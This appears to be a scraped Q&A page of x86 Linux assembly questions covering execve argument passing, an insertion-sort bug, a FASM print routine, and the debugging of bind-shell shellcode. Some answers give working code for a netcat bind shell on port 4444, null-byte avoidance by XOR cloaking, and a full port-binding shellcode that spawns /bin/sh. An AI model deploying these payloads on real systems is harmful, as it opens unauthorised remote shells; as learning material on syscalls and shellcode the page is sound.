simplest way to pass arguments to execve syscall - linux

Supposedly, it is very simple to pass arguments to an execve syscall.
In a tutorial, the instructor says it's only in one line, and leave this as an exercise.
The code below executes "ls" command. And I'm trying to execute something like "ls -la".
After searching and searching, I still have no idea where to add the "-la" !
I know it's in the structure pointed to by the ecx register, and that it has to be null terminated. For now, ecx contains an address to /bin/ls . Should the arguments be another address ? argv is an array, with first element being "/bin/ls"...
global _start
section .text
_start:
xor eax, eax
push eax
push 0x736c2f6e
push 0x69622f2f ; //bin/ls
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
This is not working :
xor eax, eax
push eax
push 0x2a632020
push 0x736c2f6e
push 0x69622f2f ; /bin/ls c*
mov ecx, esp

You must save the -la argument in the ecx register and copy it to the esp register (I mean in the stack)
push eax
push byte 0x61
push word 0x6c2d
mov ecx, esp ; -la
The following is your modified code :
global _start
section .text
_start:
xor eax, eax
push eax
push byte 0x61
push word 0x6c2d
mov ecx, esp ; -la
push eax
push 0x736c2f6e
push 0x69622f2f ; //bin/ls
mov ebx, esp
push edx
push ecx
push ebx
mov ecx, esp
mov al, 11
int 0x80
The code working fine :)
% ./list
total 4
-rwxrwxr-x 1 febri febri 512 Oct 5 07:45 list
%

Related

execute system command (bash) using assembly?

Basically I am trying to execute the command /bin/ls using assembly, but unfortunately I am failing:
SECTION .data
buf: db "Hello", 5
SECTION .text
global _start
_start:
xor eax, eax
mov edx, eax
push edx
mov eax, 0x736c2f2f ; "sl/"
push eax
mov eax, 0x6e69622f ; "nib/"
push eax
mov ebx, esp
push edx
mov eax, 0x2f
push eax
mov ecx, esp
mov eax, 11
xor edx, edx
int 0x80
mov eax, 1
int 0x80
But If I change the mov eax, 11 to mov eax, 4 and add mov edx, 7 after xor edx, edx. It do print /bin/ls
Can anyone point the mistake I am making?
Compiling the code with nasm -g -f elf -F dwarf ./shell.asm && ld -m elf_i386 -o shell shell.o and my arc is Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86_64 GNU/Linux
Found the problem, as pointed by #Jestor (thank you), I needed to store the executing file at ebx and all the arguments including the filename in ecx and set edx to null as below:
SECTION .data
buf: db "./", 0
SECTION .text
global _start
_start:
xor eax, eax
xor edx, edx
push eax
push long 0x736c2f2f ; "sl/"
push long 0x6e69622f ; "nib/"
mov ebx, esp
push eax
push byte 0x2f
mov esi, esp
push eax
push esi
push ebx
mov ecx, esp
mov eax, 0x0b
int 0x80
mov eax, 1
int 0x80
after my working shell, the ecx looked like below:
(gdb) x/50x $ecx
0xffffd370: 0xffffd384 0xffffd37c 0x00000000 0x0000002f
0xffffd380: 0x00000000 0x6e69622f 0x736c2f2f 0x00000000

What is proper way to call execve with arguments in assembly?

I am trying to execute the following with execve: /bin//nc -lnke /bin/bash -p 4444
When reading the man page for execve, I see the following requirements:
int execve(const char *filename, char *const argv[],
char *const envp[]);
The issue I am running into is pushing arguments to argv; I do not understand how you push an array (in assembly) for this to work properly.
The assembly that I am currently using is below:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
It results in the following being passed to execve:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
How do I pass these arguments properly using assembly?
I am using Linux with nasm
In C, arrays are implicitly converted to pointers to their first elements. So in your case, you need to pass a pointer to an array of pointers to strings. Each array is terminated with a null pointer. Each string is terminated with a NUL byte. The arguments to system calls are passed in ebx, ecx, edx, etc. with the system call number being in eax. Like this:
section .data
; strings
arg0 db "/bin//nc",0
arg1 db "-lnke",0
arg2 db "/bin/bash",0
arg3 db "-p",0
arg4 db "4444",0
; arrays
align 4
argv dd arg0, arg1, arg2, arg3, arg4, 0
envp dd 0
section .text
global _start
_start: mov eax, 11 ; SYS_execve
mov ebx, arg0 ; filanem
mov ecx, argv ; argv
mov edx, envp ; envp
int 0x80 ; syscall
I'm not sure which operating system you are programming for. This example assumes Linux.
If you cannot use the data segment for some reason, proceed like this:
; for easier addressing
mov ebp, esp
; push strings
xor eax, eax
push eax ; - 4
push "4444" ; - 8
push "\0-p\0" ; -12
push "bash" ; -16
push "bin/" ; -20
push "ke\0/" ; -24
push "\0-ln" ; -28
push "//nc" ; -32
push "/bin" ; -36
; push argv, right to left
xor eax, eax
push eax ; NULL
lea ebx, [ebp-8]
push ebx ; "4444\0"
lea ebx, [ebp-11]
push ebx ; "-p\0"
lea ebx, [ebp-21]
push ebx ; "/bin/bash\0"
lea ebx, [ebp-27]
push ebx ; "-lnke\0"
lea ebx, [ebp-36] ; filename
push ebx ; "/bin//nc\0"
mov ecx, esp ; argv
lea edx, [ebp-4] ; envp (NULL)
mov al, 11 ; SYS_execve
int 0x80
In case you can't have null bytes in your data for whatever reason you need to do some cloaking beforehand. For example, you could push each byte xor'ed with 0x80 and xor the data on the stack with 0x80 again afterwards.

Insertion sort not working, 32bit assembly

I'm trying to implement insertion sort in 32bit assembly in linux using NASM and I get a segmentation fault mid-run (not to mention that for some reason 'printf' prints random garbage values, I'm not totally sure why), Here is the
code:
section .rodata
MSG: DB "welcome to sortMe, please sort me",10,0
S1: DB "%d",10,0 ; 10 = '\n' , 0 = '\0'
section .data
array DD 5,1,7,3,4,9,12,8,10,2,6,11 ; unsorted array
len DB 12
section .text
align 16
global main
extern printf
main:
push MSG ; print welcome message
call printf
add esp,4 ; clean the stack
call printArray ;print the unsorted array
;parameters
;push len
;push array
mov eax, len
mov ebx, array
push eax
push ebx
call myInsertionSort
call printArray ; print the sorted one
mov eax, 1 ;exit system call
int 0x80
printArray:
push ebp ;save old frame pointer
mov ebp,esp ;create new frame on stack
pushad ;save registers
mov eax,0
mov ebx,0
mov edi,0
mov esi,0 ;array index
mov bl, byte [len]
add edi,ebx ; edi = array size
print_loop:
cmp esi,edi
je print_end
push dword [array+esi*4]
push S1
call printf
add esp, 8 ;clean the stack
inc esi
jmp print_loop
print_end:
popa ;restore registers
mov esp,ebp ;clean the stack frame
pop ebp ;return to old stack frame
ret
myInsertionSort:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, [ebp+12]
movzx ecx, byte [ecx] ;put len in ecx, our loop variable
mov eax, 0
mov ebx, 0
mov esi, [ebp+8] ; the array
loop loop_1
loop_1:
cmp ecx, 0 ; if we're done
je done_1 ; then done with loop
mov edx, ecx
push ecx ; we save len, because loop command decrements ecx
sub edx, ecx
mov ecx, [esi+4*edx] ;;;;;; ecx now array[i] ? how do I access array[i] in a similar manner?
mov ebx, eax
shr ebx, 2 ; number of times for inner loop
loop_2:
cmp ebx, 0 ; we don't use loop to not affect ecx so we use ebx and compare it manually with 0
jl done_2
cmp [esi+ebx], ecx ;we see if array[ebx] os ecx so we can exit the loop
jle done_2
lea edx, [esi+ebx]
push dword [edx] ; pushing our array[ebx]
add edx, 4
pop dword [edx] ; popping the last one
dec ebx ; decrementing the loop iterator
jmp loop_2 ; looping again
done_2:
mov [esi+ebx+1], ecx
inc eax ; incrementing iterator
pop ecx ; len of array to compare now to eax and see if we're done
jmp loop_1
done_1:
pop edi
pop esi
pop ebx
pop ebp ; we pop them in opposite to how we pushed
ret
About the printf thing, I'm positive that I should push the parameters the opposite way (first S1 and then the integer so it'd be from left to right as we'd call it in C), and if I do switch them, nothing is printed at all while I'm getting a segmentation fault. I don't know what to do, it prints these as output:
welcome to sortMe, please sort me
5
16777216
65536
256
1
117440512
458752
1792
7
50331648
196608
768
mov ecx, [ebp+12] ;put len in ecx, our loop variab
This only moves the address of LEN into ECX not its value! You need to add movzx ecx, byte [ecx]
You also need to define LEN=48
loop loop_1
What's this bizare use of LOOP doing here?
You are mixing bytes and dwords on multiple occasions. You need to rework the code. p.e.
dec ebx ; ebx is now number of times we should go through inner loop
should become
shr ebx,2
This is not correct because you need the address and not the value. Change MOV into LEA.
jle done_2
mov edx, [esi+ebx]
Perhaps you can post your reworked code as an EDIT within your Original question.
Your edited code does not address ALL the problems signaled by user3144770!
The parameters to printf are correct but here are some additional problems with your printArray routine.
Since ESI is an index in an array of dwords you need to scale it up!
push dword [array+esi*4]
Are you sure pusha will save 32 bits ? Perhaps you'd better use pushad
ps Should you decide to rework your code and post the edit then please add the reworked code after the last line of the existing post. This way the original question will continue making sense to people viewing it the first time!

segmentation fault in port-binding shellcode

I am trying to open a listener using shellcode but i get segmentation error , i read that this error is due to writing into read only location in memory , and that -N option in the ld linker will solve it out which did not work for me.
the code :
BITS 32
global _start
_start:
xor eax,eax
xor ebx,ebx
cdq
push eax
push byte 0x01
push byte 0x02
mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax
push edx
push 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
push edx
push esi
mov ecx,esp
mov byte bl,0x04
mov al,102
int 80h
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,esp
xor ecx,ecx
mov cl,3
loop:
dec cl
mov al,63
int 80h
jnz loop
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 80h
i then run the following commands:
nasm -f elf file.asm
ld -N file.o -o file
when i run file i get segmentation error, please help .
Learn to use a debugger and comment your code. That said, the problem seems to be with the dup2 syscall getting bad argument, because esp that gets loaded into ebx is unlikely to be a valid descriptor. This results in an error return, which then screws up all further syscalls.

Linked assembly subroutine doesn't work as expected

I'm writing a simple subroutine in FASM to print 32-bit unsigned integers to STDOUT. This is what I came up with:
format elf
public uprint
section ".text" executable
uprint:
push ebx
push ecx
push edx
push esi
mov ebx, 10
mov ecx, buf + 11
xor esi, esi
do:
dec ecx
xor edx, edx
div ebx
add dl, 0x30
mov [ecx], dl
inc esi
test eax, 0
jnz do
mov eax, 4
mov ebx, 1
mov edx, esi
int 0x80
pop esi
pop edx
pop ecx
pop ebx
ret
section ".data" writeable
buf rb 11
Then I wrote another program to test whether the above subroutine works properly:
format elf
extrn uprint
public _start
section ".text" executable
_start:
mov eax, 1337
call uprint
mov eax, 4
mov ebx, 1
mov ecx, newline
mov edx, 1
int 0x80
mov eax, 1
xor ebx, ebx
int 0x80
section ".data"
newline db 0x0A
I compiled both these programs to their corresponding object files and linked them to create the executable.
On executing the program however it only displayed 7 instead of 1337. As it turns out only the last digit of the number is display regardless of the number itself.
This is strange because my uprint subroutine is correct. In fact if I combine both these programs into a single program then it displays 1337 correctly.
What am I doing wrong?
I gain the distinct impression that your LINK operation is building the uprint before the _start and you're in fact entering UPRINT, not at _start as you expect.
I found out my mistake. I'm using test eax, 0 which always sets the zero flag. Hence only the first digit is processed. Intead I need to use either test eax, eax or cmp eax, 0.

Resources